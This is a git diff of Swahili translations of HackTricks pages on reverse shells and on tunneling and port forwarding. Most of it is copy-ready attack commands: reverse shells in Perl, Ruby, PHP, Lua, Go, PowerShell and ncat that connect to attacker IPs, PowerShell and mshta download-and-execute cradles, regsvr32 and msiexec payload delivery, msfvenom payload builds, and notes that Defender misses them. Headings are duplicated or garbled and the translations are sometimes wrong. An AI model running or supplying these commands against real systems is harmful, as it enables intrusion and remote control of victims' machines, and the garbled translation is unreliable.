perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
## Ruby
|
||||
### Ruby
|
||||
|
||||
Ruby ni lugha ya programu iliyoundwa na Yukihiro Matsumoto. Inajulikana kwa sintaksia yake rahisi na inayosoma kama lugha ya asili. Ruby inaweza kutumika kwa ufanisi kama lugha ya skripti kwa kusanidi na kusanikisha mifumo ya Unix.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
### PHP
|
||||
|
||||
PHP is a popular server-side scripting language that is widely used for web development. It can be embedded into HTML and is commonly used to create dynamic web pages or applications. PHP code is executed on the server, generating HTML which is then sent to the client's browser. PHP can interact with databases, manage sessions, handle forms, and perform many other tasks crucial for web development.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -181,27 +187,27 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
## Java
|
||||
|
||||
Java ni lugha ya programu inayotumika sana kwa maendeleo ya programu za rununu, wavuti, na programu za kompyuta. Java inajulikana kwa ufanisi wake, usalama, na uwezo wa kuhamishika kati ya mifumo tofauti ya uendeshaji.
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
## Ncat
|
||||
|
||||
Ncat ni chombo cha nguvu cha kubadilishana data kinachofanya kazi kama zana ya kufanya uhusiano wa mtandao. Inaweza kutumika kama zana ya kusikiliza na kutoa mawasiliano kwa njia ya mtandao kwa njia salama.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
## Golang
|
||||
|
||||
Golang ni lugha ya programu iliyoundwa na Google. Inajulikana kwa ufanisi wake na kasi ya utekelezaji. Ni maarufu sana kwa maendeleo ya programu za seva na zana za mfumo.
|
||||
Golang ni lugha ya programu iliyoundwa na Google. Ni maarufu kwa ufanisi wake na rahisi kujifunza.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
## Kiswahili
|
||||
Lua ni lugha ya programu ya scripting inayotumika sana kwa madhumuni anuwai ikiwa ni pamoja na maendeleo ya michezo, uundaji wa wavuti, na programu za simu. Lua inajulikana kwa urahisi wake wa kujifunza na utendaji wake wa haraka.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
|
@ -305,7 +311,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
```
|
||||
## Gawk
|
||||
|
||||
Gawk ni chombo cha nguvu cha kutafsiri na kuchambua data muundo wa maandishi. Inaweza kutumika kama sehemu ya mnyororo wa zana za uchambuzi wa data kwenye mifumo ya Linux. Gawk inaweza kutumika kwa ufanisi kwenye mifumo ya Unix kwa kuchuja, kuchambua, na kuchakata data ya maandishi kwa njia ya kipekee.
|
||||
## Gawk
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -359,7 +365,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -369,10 +375,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
## Lolbas
|
||||
|
||||
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa linux.\
|
||||
Kwa dhahiri, **hakuna faili za SUID au mamlaka ya sudo kwenye Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binari** zinaweza kutumika (kwa ubaya) kutekeleza aina fulani ya hatua zisizotarajiwa kama **kutekeleza nambari za aina yoyote.**
|
||||
Kwa dhahiri, **hakuna faili za SUID au mamlaka ya sudo kwenye Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binari** zinaweza kutumika (kwa ubaya) kutekeleza aina fulani ya hatua zisizotarajiwa kama **kutekeleza nambari za kupindukia.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat uliounganifu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat ulioumovu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -52,22 +52,21 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows.
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows. Perl inatoa maktaba yenye nguvu ya kazi ambazo zinaweza kutumiwa kwa ufanisi kushughulikia mifumo ya faili, sockets, na taratibu za mfumo. Matumizi ya Perl yanaweza kusaidia katika kujenga shellcode yenye nguvu na yenye ufanisi kwa mifumo ya Windows.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
### Swahili Translation
|
||||
## Ruby
|
||||
## Kijani
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
## Lua
|
||||
## Kiswahili
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -79,7 +78,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Mnufaika
|
||||
Mnajisi
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -94,17 +93,17 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
|
|||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Mchakato unaoendesha wito wa mtandao: **powershell.exe**\
|
||||
Mchakato unatekeleza wito wa mtandao: **powershell.exe**\
|
||||
Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali popote nilipoweza kupata kwa kutumia procmon!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Mchakato unaoendesha wito wa mtandao: **svchost.exe**\
|
||||
Mzigo ulioandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
|
||||
Mchakato unafanya wito wa mtandao: **svchost.exe**\
|
||||
Payload iliyoandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**Pata habari zaidi kuhusu Shells tofauti za Powershell mwishoni mwa hati hii**
|
||||
**Pata habari zaidi kuhusu Mabakuli tofauti ya Powershell mwishoni mwa hati hii**
|
||||
|
||||
## Mshta
|
||||
|
||||
|
@ -124,7 +123,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana mzimu wa Koadic ukitumia stager hta**
|
||||
**Unaweza kupakua & kutekeleza kwa urahisi sana zomu ya Koadic kwa kutumia stager hta**
|
||||
|
||||
#### mfano wa hta
|
||||
|
||||
|
@ -263,7 +262,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager regsvr**
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana kizimbe cha Koadic kwa kutumia stager regsvr**
|
||||
|
||||
## Certutil
|
||||
|
||||
|
@ -295,7 +294,7 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
|||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
Mchakato unaoendesha wito wa mtandao: **svchost.exe**\
|
||||
Mzigo ulioandikwa kwenye diski: **Hifadhi ya muda ya mteja wa WebDAV**
|
||||
Mzigo ulioandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -313,11 +312,11 @@ Mshambuliaji
|
|||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
Mfano:
|
||||
Mnajisi:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**Imebainika**
|
||||
**Imegundulika**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
|
@ -348,7 +347,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell.\
|
||||
Pakua hii na kuitekeleza: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
Pakua hii na itekeleze: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
@ -390,7 +389,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
Katika folda ya **Mabakuli**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
|
||||
Katika folda ya **Mabakuli**, kuna mabakuli mengi tofauti. Kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
@ -398,7 +397,7 @@ Anza kutumikia script kwenye seva ya wavuti na uitekeleze kwenye mwisho wa muath
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender haiichunguzi kama msimbo mbaya (bado, 3/04/2019).
|
||||
Defender haiigundui kama msimbo mbaya (bado, 3/04/2019).
|
||||
|
||||
**TODO: Angalia mabaka mengine ya nishang**
|
||||
|
||||
|
@ -406,13 +405,13 @@ Defender haiichunguzi kama msimbo mbaya (bado, 3/04/2019).
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
Pakua, anzisha mtandao wa wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho wa mhanga:
|
||||
Pakua, anzisha mtandao wa wavuti, anzisha msikilizaji, na tekeleza kwenye mwisho wa mhanga:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender haiigundui kama msimbo mbaya (bado, 3/04/2019).
|
||||
Defender haiigundui kama nambari inayoweza kudhuru (bado, 3/04/2019).
|
||||
|
||||
**Chaguo nyingine zinazotolewa na powercat:**
|
||||
**Chaguo zingine zinazotolewa na powercat:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||
```
|
||||
|
@ -445,7 +444,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha unicorn
|
||||
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha kichawi
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
@ -461,9 +460,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## Zaidi
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye madhara zilizopakiwa mapema (zilizofichwa)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye mashambulizi zilizopakiwa mapema (zilizofichwa)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zenye madhara na uchunguzi wa proksi (IEX)
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zenye mashambulizi na uchunguzi wa proksi (IEX)
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -477,7 +476,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zen
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# Kuchimba na Kusogeza Bandari
|
||||
# Kuchimba na Kusonga Mbele kwa Port
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuchimba AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Shiriki mbinu zako za kuchimba kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
## Sawa ya Nmap
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** na uchunguzi wa **SYN** hauwezi kuchimbwa kupitia proksi za socks, hivyo lazima **zimezwe ugunduzi wa ping** (`-Pn`) na tueleze **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
|
||||
**ICMP** na uchunguzi wa **SYN** hauwezi kuchimbwa kupitia proxies za socks, hivyo tunapaswa **kulemaza ugunduzi wa ping** (`-Pn`) na kutaja **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -46,13 +46,13 @@ evil-winrm -u username -i Jump
|
|||
```
|
||||
## **SSH**
|
||||
|
||||
Unganishaji wa picha wa SSH (X)
|
||||
Unganisho la picha la SSH (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Port ya Mitaani kwenda Port nyingine
|
||||
### Bandari ya Mitaani kwenda Bandari
|
||||
|
||||
Fungua Port mpya kwenye Seva ya SSH --> Port nyingine
|
||||
Fungua Bandari Mpya kwenye Seva ya SSH --> Bandari Nyingine
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
@ -70,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
|||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Port ya Mwenyeji --> Mwenyeji Aliyodhurika (SSH) --> Mahali Popote
|
||||
Port ya Mwenyeji --> Mwenyeji Aliyodhulumiwa (SSH) --> Mahali Popote
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Kusonga Mbele ya Port
|
||||
### Kusonga Porti Nyuma
|
||||
|
||||
Hii ni muhimu kupata mabakuli ya kurudi kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
|
||||
Hii ni muhimu kupata mabakuli ya nyuma kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
|||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config lazima iruhusu kuingia kama root:\
|
||||
Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config inapaswa kuruhusu kuingia kama root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
|
@ -108,7 +108,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Unaweza **kutumia kivukio** kupitia **ssh** trafiki yote kwenda kwenye **mtandao wa sehemu** kupitia mwenyeji.\
|
||||
Unaweza **kutumia kivukio** kupitia **ssh** trafiki yote kwenda kwa **mtandao wa sehemu** kupitia mwenyeji.\
|
||||
Kwa mfano, kusafirisha trafiki yote inayokwenda kwa 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
|
@ -123,14 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
|||
|
||||
### Port2Port
|
||||
|
||||
Port ya ndani --> Host iliyoharibiwa (kikao cha aktive) --> Sanduku la tatu:Port
|
||||
Port ya ndani --> Mwenyeji aliyeathiriwa (kikao cha aktive) --> Sanduku la tatu: Port
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
